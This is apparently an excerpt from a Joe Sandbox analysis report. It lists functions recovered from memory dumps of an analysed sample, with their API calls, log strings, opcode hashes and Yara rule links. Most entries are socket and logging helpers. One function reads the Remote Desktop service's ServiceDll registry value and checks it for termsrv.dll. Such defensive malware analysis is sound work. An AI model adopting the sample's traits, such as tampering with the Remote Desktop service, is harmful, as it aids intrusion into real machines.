Source File: 00000016.00000002.4543205209.00007FF8BFAB1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8BFAB0000, based on PE: true

Associated: 00000016.00000002.4543176156.00007FF8BFAB0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543229217.00007FF8BFAC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543258072.00007FF8BFAC8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543280015.00007FF8BFACB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543353485.00007FF8BFACC000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfab0000_main.jbxd

Similarity

API ID: ErrorLastfflushfwriteshutdown
String ID: [D] (%s) -> Done(sock=0x%llx)$[E] (%s) -> shutdown failed(sock=0x%llx,chan=%d,WSAgle=%d)$sock_shutdown
API String ID: 2143829457-932964775
Opcode ID: 6125c0084bdc85d73f7bde19a877d0e344868a41d6e5677988897e0956617668
Instruction ID: 2c386c91c3c03861e8bf1380a58259556004214e81c98ad916486d67ca05c71a
Opcode Fuzzy Hash: 6125c0084bdc85d73f7bde19a877d0e344868a41d6e5677988897e0956617668
Instruction Fuzzy Hash: CAF054A1E0C90399E61957ADEC470B55751AF10BDCF94A532DB1CA61F6FE1CA94E8300

Function 00007FF8BA509FF4 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 28libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF8BA50A002

Part of subcall function 00007FF8BA501292: fwrite.MSVCRT ref: 00007FF8BA50133E
Part of subcall function 00007FF8BA501292: fflush.MSVCRT ref: 00007FF8BA50134A

GetLastError.KERNEL32 ref: 00007FF8BA50A02E

Strings

module_load, xrefs: 00007FF8BA50A016, 00007FF8BA50A03A
[I] (%s) -> Done(name=%s,ret=0x%p), xrefs: 00007FF8BA50A01D
[E] (%s) -> Failed(name=%s,gle=%lu), xrefs: 00007FF8BA50A041

Memory Dump Source

Source File: 00000016.00000002.4543038707.00007FF8BA501000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BA500000, based on PE: true

Associated: 00000016.00000002.4543016103.00007FF8BA500000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543075522.00007FF8BA513000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543104552.00007FF8BA51C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543126131.00007FF8BA51F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543151844.00007FF8BA520000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8ba500000_main.jbxd

Similarity

API ID: ErrorLastLibraryLoadfflushfwrite
String ID: [E] (%s) -> Failed(name=%s,gle=%lu)$[I] (%s) -> Done(name=%s,ret=0x%p)$module_load
API String ID: 4085810780-3386190286
Opcode ID: fd51d1cbaee2ddb6301145fafeb239ad102a1964c430bb25295e8db6dcc54a2a
Instruction ID: eef99c998f22e0f981c0513f8896fee90ce4fddaa909c1dda28792a24753a156
Opcode Fuzzy Hash: fd51d1cbaee2ddb6301145fafeb239ad102a1964c430bb25295e8db6dcc54a2a
Instruction Fuzzy Hash: 96F05454E4D607E4ED21A7EEAC904B12250AF077C0F8455B2CF0D56365FE1CAB46C310

Function 00007FF8B9181AA4 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 28libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF8B9181AB2

Part of subcall function 00007FF8B9181292: fwrite.MSVCRT ref: 00007FF8B918133E
Part of subcall function 00007FF8B9181292: fflush.MSVCRT ref: 00007FF8B918134A

GetLastError.KERNEL32 ref: 00007FF8B9181ADE

Strings

[E] (%s) -> Failed(name=%s,gle=%lu), xrefs: 00007FF8B9181AF1
[I] (%s) -> Done(name=%s,ret=0x%p), xrefs: 00007FF8B9181ACD
module_load, xrefs: 00007FF8B9181AC6, 00007FF8B9181AEA

Memory Dump Source

Source File: 00000016.00000002.4542875243.00007FF8B9181000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8B9180000, based on PE: true

Associated: 00000016.00000002.4542850884.00007FF8B9180000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542909887.00007FF8B9196000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542940731.00007FF8B91A0000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542967259.00007FF8B91A3000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542988009.00007FF8B91A4000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9180000_main.jbxd

Similarity

API ID: ErrorLastLibraryLoadfflushfwrite
String ID: [E] (%s) -> Failed(name=%s,gle=%lu)$[I] (%s) -> Done(name=%s,ret=0x%p)$module_load
API String ID: 4085810780-3386190286
Opcode ID: eb8e6a62fdbad73e6668c39471aa49a82b9171855985ab7e5bfeb5c52a358f98
Instruction ID: fd222b74897f9dbe6fd12d064a1908f727ff3ae57ed5dd56cba605782f16bda5
Opcode Fuzzy Hash: eb8e6a62fdbad73e6668c39471aa49a82b9171855985ab7e5bfeb5c52a358f98
Instruction Fuzzy Hash: 06F08251E096C751FD569F9EE8805F022519F05BD4F498531CF0C57756FD1CA987B310

Function 00007FF8BFB819A5 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 26networkCOMMON

Download Yara Rule

APIs

closesocket.WS2_32 ref: 00007FF8BFB819C6
WSAGetLastError.WS2_32 ref: 00007FF8BFB819E9

Part of subcall function 00007FF8BFB81292: fwrite.MSVCRT ref: 00007FF8BFB8133E
Part of subcall function 00007FF8BFB81292: fflush.MSVCRT ref: 00007FF8BFB8134A

Strings

sock_close, xrefs: 00007FF8BFB819D4, 00007FF8BFB819F5
[E] (%s) -> closesocket failed(sock=0x%llx,WSAgle=%d), xrefs: 00007FF8BFB819FC
[D] (%s) -> Done(sock=0x%llx), xrefs: 00007FF8BFB819DB

Memory Dump Source

Source File: 00000016.00000002.4543573276.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.4543552020.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543603877.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543623077.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543647847.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543666942.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543695367.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543713581.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: ErrorLastclosesocketfflushfwrite
String ID: [D] (%s) -> Done(sock=0x%llx)$[E] (%s) -> closesocket failed(sock=0x%llx,WSAgle=%d)$sock_close
API String ID: 152032778-2221966578
Opcode ID: 8599731fb1bba70c80c6a87e0d95c1ba84472dea675db9bdef4eccd0eba7448a
Instruction ID: 63d541d7c2bb6d7719950bd33f6727107b1dd9e040c96960f3e5754402777080
Opcode Fuzzy Hash: 8599731fb1bba70c80c6a87e0d95c1ba84472dea675db9bdef4eccd0eba7448a
Instruction Fuzzy Hash: C4F05890E0D647C1FA18ABFDE8410B82351AF94BF8F148335D73E562E3AE2CA586C300

Function 00007FF8BFAB14C5 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 26networkCOMMON

Download Yara Rule

APIs

closesocket.WS2_32 ref: 00007FF8BFAB14E6
WSAGetLastError.WS2_32 ref: 00007FF8BFAB1509

Part of subcall function 00007FF8BFABA202: fwrite.MSVCRT ref: 00007FF8BFABA2AE
Part of subcall function 00007FF8BFABA202: fflush.MSVCRT ref: 00007FF8BFABA2BA

Strings

sock_close, xrefs: 00007FF8BFAB14F4, 00007FF8BFAB1515
[E] (%s) -> closesocket failed(sock=0x%llx,WSAgle=%d), xrefs: 00007FF8BFAB151C
[D] (%s) -> Done(sock=0x%llx), xrefs: 00007FF8BFAB14FB

Memory Dump Source

Source File: 00000016.00000002.4543205209.00007FF8BFAB1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8BFAB0000, based on PE: true

Associated: 00000016.00000002.4543176156.00007FF8BFAB0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543229217.00007FF8BFAC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543258072.00007FF8BFAC8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543280015.00007FF8BFACB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543353485.00007FF8BFACC000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfab0000_main.jbxd

Similarity

API ID: ErrorLastclosesocketfflushfwrite
String ID: [D] (%s) -> Done(sock=0x%llx)$[E] (%s) -> closesocket failed(sock=0x%llx,WSAgle=%d)$sock_close
API String ID: 152032778-2221966578
Opcode ID: 12861671799783d57c0e45ebdd2486de4913a4295b0a9ddc1e35ca3c9b0b37bb
Instruction ID: b7848574a132c4adbfd870015e5be3630530f9be8714a23d6641a4abfaaf0a56
Opcode Fuzzy Hash: 12861671799783d57c0e45ebdd2486de4913a4295b0a9ddc1e35ca3c9b0b37bb
Instruction Fuzzy Hash: E6F09090E0890384FA1857EEAC171B417109F10BFCF547331DB3EA51E6AD1CA9498300

Function 00007FF8B9185AC0 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 50stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8B9182472: RegOpenKeyExA.ADVAPI32 ref: 00007FF8B91824CC

strlen.MSVCRT ref: 00007FF8B9185B12
strcmp.MSVCRT ref: 00007FF8B9185B6A

Strings

ServiceDll, xrefs: 00007FF8B9185AE9
SYSTEM\CurrentControlSet\Services\TermService\Parameters, xrefs: 00007FF8B9185AF0
termsrv.dll, xrefs: 00007FF8B9185B63

Memory Dump Source

Source File: 00000016.00000002.4542875243.00007FF8B9181000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8B9180000, based on PE: true

Associated: 00000016.00000002.4542850884.00007FF8B9180000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542909887.00007FF8B9196000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542940731.00007FF8B91A0000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542967259.00007FF8B91A3000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542988009.00007FF8B91A4000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9180000_main.jbxd

Similarity

API ID: Openstrcmpstrlen
String ID: SYSTEM\CurrentControlSet\Services\TermService\Parameters$ServiceDll$termsrv.dll
API String ID: 679246061-1413152910
Opcode ID: 63975a93190b79f59677f2cf894f3a731aba901ec3ab26a81d23eb9d20377d47
Instruction ID: 9441c1d6a57794b99c6655ae9db667440c4c3639640f577e8d18a6079f9be22e
Opcode Fuzzy Hash: 63975a93190b79f59677f2cf894f3a731aba901ec3ab26a81d23eb9d20377d47
Instruction Fuzzy Hash: CC219D71A1CAC751EB208F18A8C03FA6355EF60394F850072E79D46196EF3CD649F650

Function 00007FF8BFB52349 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 33networkCOMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32 ref: 00007FF8BFB5236F
WSAGetLastError.WS2_32 ref: 00007FF8BFB5238D

Part of subcall function 00007FF8BFB52FD2: fwrite.MSVCRT ref: 00007FF8BFB5307E
Part of subcall function 00007FF8BFB52FD2: fflush.MSVCRT ref: 00007FF8BFB5308A

Strings

sock_set_blocking, xrefs: 00007FF8BFB5239D
[E] (%s) -> ioctlsocket(FIONBIO) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FF8BFB523A4

Memory Dump Source

Source File: 00000016.00000002.4543398310.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.4543375448.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543427892.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543457057.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543478360.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543503770.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543526307.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: ErrorLastfflushfwriteioctlsocket
String ID: [E] (%s) -> ioctlsocket(FIONBIO) failed(sock=0x%llx,value=%d,WSAgle=%d)$sock_set_blocking
API String ID: 325303940-110789774
Opcode ID: 038bd755b02e3f66869641aed01428454bc9ad9afd8f2a63b256f54e22478d64
Instruction ID: 5c49cc86d297a1da9224adbb52b373ee3a9d1ae7eee50ab03f3966d6b1a772b9
Opcode Fuzzy Hash: 038bd755b02e3f66869641aed01428454bc9ad9afd8f2a63b256f54e22478d64
Instruction Fuzzy Hash: 84F09661F0D64396F75057ADA8101B97360AB947D4F144131EF2D87BA4EE7CE9468700

Function 00007FF8BFB818D9 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 33networkCOMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32 ref: 00007FF8BFB818FF
WSAGetLastError.WS2_32 ref: 00007FF8BFB8191D

Part of subcall function 00007FF8BFB81292: fwrite.MSVCRT ref: 00007FF8BFB8133E
Part of subcall function 00007FF8BFB81292: fflush.MSVCRT ref: 00007FF8BFB8134A

Strings

[E] (%s) -> ioctlsocket(FIONBIO) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FF8BFB81934
sock_set_blocking, xrefs: 00007FF8BFB8192D

Memory Dump Source

Source File: 00000016.00000002.4543573276.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.4543552020.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543603877.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543623077.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543647847.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543666942.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543695367.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543713581.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: ErrorLastfflushfwriteioctlsocket
String ID: [E] (%s) -> ioctlsocket(FIONBIO) failed(sock=0x%llx,value=%d,WSAgle=%d)$sock_set_blocking
API String ID: 325303940-110789774
Opcode ID: 080e8fde5a2ba98204fe8d5300717fb1248164f312ba23c459eec33983392385
Instruction ID: 8410c7a29659df75c6854531af58257741b97c659d171a7f0c8538036e5edefd
Opcode Fuzzy Hash: 080e8fde5a2ba98204fe8d5300717fb1248164f312ba23c459eec33983392385
Instruction Fuzzy Hash: 23F09661F0D54282F7505BEDF8005B96360ABC47D8F108235EE1D837A5DE7CD946C701

Function 00007FF8B9152209 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 33networkCOMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32 ref: 00007FF8B915222F
WSAGetLastError.WS2_32 ref: 00007FF8B915224D

Part of subcall function 00007FF8B9151292: fwrite.MSVCRT ref: 00007FF8B915133E
Part of subcall function 00007FF8B9151292: fflush.MSVCRT ref: 00007FF8B915134A

Strings

sock_set_blocking, xrefs: 00007FF8B915225D
[E] (%s) -> ioctlsocket(FIONBIO) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FF8B9152264

Memory Dump Source

Source File: 00000016.00000002.4542713133.00007FF8B9151000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B9150000, based on PE: true

Associated: 00000016.00000002.4542690399.00007FF8B9150000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542749406.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542780347.00007FF8B916D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542800996.00007FF8B9170000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542827161.00007FF8B9171000.00000008.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9150000_main.jbxd

Similarity

API ID: ErrorLastfflushfwriteioctlsocket
String ID: [E] (%s) -> ioctlsocket(FIONBIO) failed(sock=0x%llx,value=%d,WSAgle=%d)$sock_set_blocking
API String ID: 325303940-110789774
Opcode ID: 1289b7a90d17fec904992b7589ad629829b1e3bc695305fe6ce7cbd808189d16
Instruction ID: 3f2760fe8baa884364ab08d6b84d732b706c39ab5bbb6225552d4bed44006d37
Opcode Fuzzy Hash: 1289b7a90d17fec904992b7589ad629829b1e3bc695305fe6ce7cbd808189d16
Instruction Fuzzy Hash: 5BF0C2B6E0828246F7104F6DA8001B55660EB957D4F218231EE1D933A4DE3CE846E700

Function 00007FF8BFAB13F9 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 33networkCOMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32 ref: 00007FF8BFAB141F
WSAGetLastError.WS2_32 ref: 00007FF8BFAB143D

Part of subcall function 00007FF8BFABA202: fwrite.MSVCRT ref: 00007FF8BFABA2AE
Part of subcall function 00007FF8BFABA202: fflush.MSVCRT ref: 00007FF8BFABA2BA

Strings

[E] (%s) -> ioctlsocket(FIONBIO) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FF8BFAB1454
sock_set_blocking, xrefs: 00007FF8BFAB144D

Memory Dump Source

Source File: 00000016.00000002.4543205209.00007FF8BFAB1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8BFAB0000, based on PE: true

Associated: 00000016.00000002.4543176156.00007FF8BFAB0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543229217.00007FF8BFAC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543258072.00007FF8BFAC8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543280015.00007FF8BFACB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543353485.00007FF8BFACC000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfab0000_main.jbxd

Similarity

API ID: ErrorLastfflushfwriteioctlsocket
String ID: [E] (%s) -> ioctlsocket(FIONBIO) failed(sock=0x%llx,value=%d,WSAgle=%d)$sock_set_blocking
API String ID: 325303940-110789774
Opcode ID: 2ea57274a692c49723bcaec0cb70b630c7dd65c16a70518f7afc343e942745d1
Instruction ID: 8d3f1f5e101115e1872dc9f5b116f1c7d477e59edd42cf38a882379375115950
Opcode Fuzzy Hash: 2ea57274a692c49723bcaec0cb70b630c7dd65c16a70518f7afc343e942745d1
Instruction Fuzzy Hash: 18F09CA1F1C50246F31457ADB8022B55760EF847DCF50A131DF1D977A5DD3CD94A8700

Function 00007FF8BA502209 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 33networkCOMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32 ref: 00007FF8BA50222F
WSAGetLastError.WS2_32 ref: 00007FF8BA50224D

Part of subcall function 00007FF8BA501292: fwrite.MSVCRT ref: 00007FF8BA50133E
Part of subcall function 00007FF8BA501292: fflush.MSVCRT ref: 00007FF8BA50134A

Strings

sock_set_blocking, xrefs: 00007FF8BA50225D
[E] (%s) -> ioctlsocket(FIONBIO) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FF8BA502264

Memory Dump Source

Source File: 00000016.00000002.4543038707.00007FF8BA501000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BA500000, based on PE: true

Associated: 00000016.00000002.4543016103.00007FF8BA500000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543075522.00007FF8BA513000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543104552.00007FF8BA51C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543126131.00007FF8BA51F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543151844.00007FF8BA520000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8ba500000_main.jbxd

Similarity

API ID: ErrorLastfflushfwriteioctlsocket
String ID: [E] (%s) -> ioctlsocket(FIONBIO) failed(sock=0x%llx,value=%d,WSAgle=%d)$sock_set_blocking
API String ID: 325303940-110789774
Opcode ID: a429915bc11f3c506707949fc448ac0a6534b50bb89eadfb2e2ad2377f1bab6d
Instruction ID: 1f8baa25038b56a6bb9b9ca0d1ed39586cf5db3455218b363a4475bb9a793eed
Opcode Fuzzy Hash: a429915bc11f3c506707949fc448ac0a6534b50bb89eadfb2e2ad2377f1bab6d
Instruction Fuzzy Hash: 93F06871E0C5079AF76157DDAC4017A6150EB967D4F144172EF1D837B4DE3CDA4A8701

Function 00007FF8B9184D89 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 33networkCOMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32 ref: 00007FF8B9184DAF
WSAGetLastError.WS2_32 ref: 00007FF8B9184DCD

Part of subcall function 00007FF8B9181292: fwrite.MSVCRT ref: 00007FF8B918133E
Part of subcall function 00007FF8B9181292: fflush.MSVCRT ref: 00007FF8B918134A

Strings

[E] (%s) -> ioctlsocket(FIONBIO) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FF8B9184DE4
sock_set_blocking, xrefs: 00007FF8B9184DDD

Memory Dump Source

Source File: 00000016.00000002.4542875243.00007FF8B9181000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8B9180000, based on PE: true

Associated: 00000016.00000002.4542850884.00007FF8B9180000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542909887.00007FF8B9196000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542940731.00007FF8B91A0000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542967259.00007FF8B91A3000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542988009.00007FF8B91A4000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9180000_main.jbxd

Similarity

API ID: ErrorLastfflushfwriteioctlsocket
String ID: [E] (%s) -> ioctlsocket(FIONBIO) failed(sock=0x%llx,value=%d,WSAgle=%d)$sock_set_blocking
API String ID: 325303940-110789774
Opcode ID: 55c4fc8c7edf6649744f78dd5b51b38eff451531802172770dc8402a3ff2acae
Instruction ID: b56c794e7f13711f668ddc68cf9206314b4cc8595b9d85b383e1ecc3752187d6
Opcode Fuzzy Hash: 55c4fc8c7edf6649744f78dd5b51b38eff451531802172770dc8402a3ff2acae
Instruction Fuzzy Hash: 5FF02B61F0C18256F3104F2DA8401B96660AF947E4F118331EE2E933E5DE3CE847B701

Function 00007FF8BFB5247A Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32networkCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 00007FF8BFB524AA
WSAGetLastError.WS2_32 ref: 00007FF8BFB524C1

Strings

[E] (%s) -> setsockopt(TCP_NODELAY) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FF8BFB524D8
tcp_set_nodelay, xrefs: 00007FF8BFB524D1

Memory Dump Source

Source File: 00000016.00000002.4543398310.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.4543375448.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543427892.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543457057.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543478360.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543503770.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543526307.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: ErrorLastsetsockopt
String ID: [E] (%s) -> setsockopt(TCP_NODELAY) failed(sock=0x%llx,value=%d,WSAgle=%d)$tcp_set_nodelay
API String ID: 1729277954-3534120083
Opcode ID: 7cb9fb6779b5c95c1cc7d7e2f9da55888ed15e20daf20baedfc529e281c235e6
Instruction ID: f9b76121b091e8bf4ddbd983e265edd573ea8f91927c2e3b0d11004730f14cfc
Opcode Fuzzy Hash: 7cb9fb6779b5c95c1cc7d7e2f9da55888ed15e20daf20baedfc529e281c235e6
Instruction Fuzzy Hash: 84F09661A0915296F7105F9DF8005A67760BB947D4F004231EF5D83BD4DF7CE545CB00

Function 00007FF8BFB81A0A Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32networkCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 00007FF8BFB81A3A
WSAGetLastError.WS2_32 ref: 00007FF8BFB81A51

Strings

[E] (%s) -> setsockopt(TCP_NODELAY) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FF8BFB81A68
tcp_set_nodelay, xrefs: 00007FF8BFB81A61

Memory Dump Source

Source File: 00000016.00000002.4543573276.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.4543552020.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543603877.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543623077.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543647847.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543666942.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543695367.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543713581.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: ErrorLastsetsockopt
String ID: [E] (%s) -> setsockopt(TCP_NODELAY) failed(sock=0x%llx,value=%d,WSAgle=%d)$tcp_set_nodelay
API String ID: 1729277954-3534120083
Opcode ID: 0437d92ffc93275b6e345f4410a481b5b83083ff933dd21acdf64e7b0c4e13cb
Instruction ID: f8c01f93cc01feef4ef4e5cdb77bf74c3f573cb8a8c31f01d5d49b07241c880e
Opcode Fuzzy Hash: 0437d92ffc93275b6e345f4410a481b5b83083ff933dd21acdf64e7b0c4e13cb
Instruction Fuzzy Hash: CFF09661A0D15286F3105FADF8046B66760ABC47D4F048235EE6D83795DF7CD949CB00

Function 00007FF8B915233A Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32networkCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 00007FF8B915236A
WSAGetLastError.WS2_32 ref: 00007FF8B9152381

Strings

[E] (%s) -> setsockopt(TCP_NODELAY) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FF8B9152398
tcp_set_nodelay, xrefs: 00007FF8B9152391

Memory Dump Source

Source File: 00000016.00000002.4542713133.00007FF8B9151000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B9150000, based on PE: true

Associated: 00000016.00000002.4542690399.00007FF8B9150000.00000002.00000001.01000000.0000000F.sdmpDownload File
